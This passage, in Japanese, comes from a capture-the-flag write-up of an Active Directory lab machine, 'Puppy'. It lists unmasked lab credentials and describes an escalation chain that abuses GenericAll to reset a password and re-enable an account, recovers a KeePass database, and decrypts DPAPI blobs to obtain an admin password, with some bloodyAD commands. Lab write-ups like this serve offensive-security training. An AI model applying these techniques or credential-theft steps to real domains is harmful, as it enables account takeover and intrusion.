adam.silver のパスワード | 記録なし。HJKL2025! は検証失敗しており元値ではない | HappyPwn2026! の設定成功 | 元の値が記録なしのため安全に指定できない。ラボ reset または正しい旧値を管理者側で設定する | 未確認 |
adam.silver.userAccountControl | ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD | NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD | 未実行の復旧候補: bloodyad ... add uac adam.silver -f ACCOUNTDISABLE。その後 get object ... --attr userAccountControl で確認する | 未確認 |
... には当該操作時の domain、host、実行主体の認証オプションを入れる。上記の復旧候補は実行済みコマンドではない。特にパスワードの元値を推測して復旧してはいけない。target へファイルを upload した、サービス/タスクを変更した、グループを新規作成したという記録はない。
Credentials and Artifacts
Section titled “Credentials and Artifacts”以下は private study 用に未マスクで残す。各 credential は取得元、所属、最初の使用箇所、得たアクセスを区別する。
| 値 | 取得元 / 対象 | 最初の使用箇所 | 確認済みのアクセス・注記 |
|---|---|---|---|
levi.james / KingofAkron2025! | 開始時に提供 / PUPPY.HTB\levi.james | 認証済み SMB/LDAP 列挙 | RustHound 収集、DEVELOPERS への自身追加、共有の read 取得につながった |
liverpool | recovery.kdbx の password recovery | keepassxc-cli export | KeePass DB の復号用。ドメインアカウント資格情報ではない |
ant.edwards / Antman2025! | KeePass の ANTONY C. EDWARDS entry / SMB で ant.edwards として検証 | bloodyad set password adam.silver ... | adam.silver のパスワードと UAC を変更できた |
adam.silver / HappyPwn2026! | 攻撃者が GenericAll で設定した値 / PUPPY.HTB\adam.silver | NTLM WinRM 試行(失敗) | UAC を有効化した後、ccache で WinRM と user.txt 読み取りに成功。元の資格情報ではない |
steph.cooper / ChefSteph2025! | backup 内 nms-auth-config.xml.bak の LDAP bind password / PUPPY.HTB\steph.cooper | SMB 検証後の getTGT.py | ccache 経由の WinRM と DPAPI ファイル読取りに成功 |
0xd9a570...e9c84 | steph.cooper の Master Key file を SID と上記 password で復号 | dpapi.py credential | Master Key の復号結果。Credential Blob の復号鍵であり、ログオン password ではない |
steph.cooper_adm / FivethChipOnItsWay2025! | steph.cooper の Enterprise Credential Blob を DPAPI 復号 / PUPPY.HTB\steph.cooper_adm | getTGT.py | WinRM 接続および Administrator\Desktop\root.txt 読み取りに成功 |
KeePass には未検証の JAMIE WILLIAMSON / JamieLove2025!、ADAM SILVER / HJKL2025!、STEVE TUCKER / Steve2025!、SAMUEL BLAKE / ILY2025! もあった。表示名から AD account を推測して再利用しない。HJKL2025! は adam.silver に対して失敗済みであり、他の三つはこの記録で対象アカウント・有効性とも未確認である。
| Artifact | 確認済みの内容 |
|---|---|
recovery.kdbx | DEVELOPERS の read で取得した 2677 bytes の KeePass database。password は liverpool |
site-backup-2024-12-30.zip | C:\Backups から読めた 4,639,546 bytes のバックアップ。steph.cooper の LDAP bind password を含む |
| DPAPI Master Key / Credential Blobs | steph.cooper の SID ...-1107 に対応する 1 Master Key と 2 Blob。Enterprise Blob だけが次の domain password を出した |
| user flag | C:\Users\adam.silver\Desktop\user.txt: [REDACTED] |
| root flag | C:\Users\Administrator\Desktop\root.txt: [REDACTED] |
Required Knowledge
Section titled “Required Knowledge”- AD を「ツールのパス」ではなく属性の到達可能性として読む。 見る対象は
member、servicePrincipalName、userAccountControl、グループ membership、対象オブジェクトの ACE である。GenericWriteが何の属性に効くか、GenericAllが誰に対してあるかを個別に検証する。 - 認証と認可を分離する。 SMB の credential success、KDC の
KDC_ERR_CLIENT_REVOKED、WinRM の ccache 不在、Remote Management Users の関係は別の観察である。Kerberos では FQDN、realm、時刻、ccache のいずれが欠けたかをエラー文で判断する。 - グループで読める共有を調べる。 共有名の発見ではなく、所属変更後の ACL を再列挙して
READを確認する。開発共有では recovery database、設定バックアップ、deployment artifact を優先する。 - 保存資格情報を層として読む。
Credentialsだけで止まらず、Blob が参照する Master Key GUID、Protect\<SID>、そのユーザーの password/SID を結びつける。Local と Enterprise の Blob は同じではなく、両方を復号して用途を出力から判断する。 - CPTS 向けの短い反射チェック。 foothold 後は、保存資格情報/Credential Manager、DPAPI
CredentialsとProtect、バックアップ、PowerShell history、アプリ設定、サービス、scheduled task、書込み可能パスを、現在のユーザー権限とファイル ACL を添えて確認する。網羅ツールの大量出力は、Master Key、credential file、service/task path、writable location のような実行可能な観察点に絞る。
Final Thought
Section titled “Final Thought”この Box の本質は、BloodHound → bloodyAD → Impacket の定型そのものではなく、各段階で「何が観察できたか」を次の行動へ接続したことにある。AD では ACL が対象属性ごとに異なるため、グラフ上の edge を一度の LDAP 書込みと再読取りで検証する。Windows foothold では token privilege が弱くても、C:\ 直下の名前、バックアップ、アプリ設定、ユーザープロファイル内の DPAPI が別の権限境界を越える入口になる。特に C:\Backups、C:\inetpub、C:\StorageReports のような名前を見たら、全ドライブを検索する前に意味のある狭い範囲を確認する。
また、失敗は経路の否定ではなく層の切り分けに使える。KDBX4 非対応はツール互換性、KDC_ERR_CLIENT_REVOKED は account state、No Kerberos credentials available は ticket selection、Evil-WinRM download の例外は転送実装の問題だった。エラー文字列、対象属性、成功後の prompt/再読取りをセットで残せば、次回に同じ誤診をしにくい。
再取得すべき証拠
Section titled “再取得すべき証拠”levi.jamesの変更前DEVELOPERSmembership、BloodHound の raw ACE/クエリ、adam.silverとsteph.cooperの Remote Management Users membership を LDAP で再取得する。adam.silverの無効化解除後に発行したgetTGT.pyの成功 stdout、最終steph.cooper_admセッションのwhoami、whoami /groups、whoami /priv、Administrator Desktop の ACL を取得する。これで最終権限を正確に記述できる。- 状態変更の cleanup 後に、
DEVELOPERSmembership とadam.silver.userAccountControlを再読取りする。パスワードの元値は記録なしなので、管理者側の既知値または Box reset なしに復旧成功を主張しない。 keepass2john --version、keepassxc-cli --version、command -v keepassxc-cli kpxc-cli、archive 展開コマンド、Puppy 自身との時刻差確認を採取する。これでツール互換性と Kerberos 時刻対策を再現可能にできる。
このログでは未実行だが、再取得時は次を実行して出力を保存する。前二者は ant.edwards の権限をまだ持つ状態、後四者は最終 WinRM セッションで実行する。
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get membership levi.jamesbloodyAD -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get object adam.silver --attr userAccountControlwhoamiwhoami /groupswhoami /privicacls 'C:\Users\Administrator\Desktop'
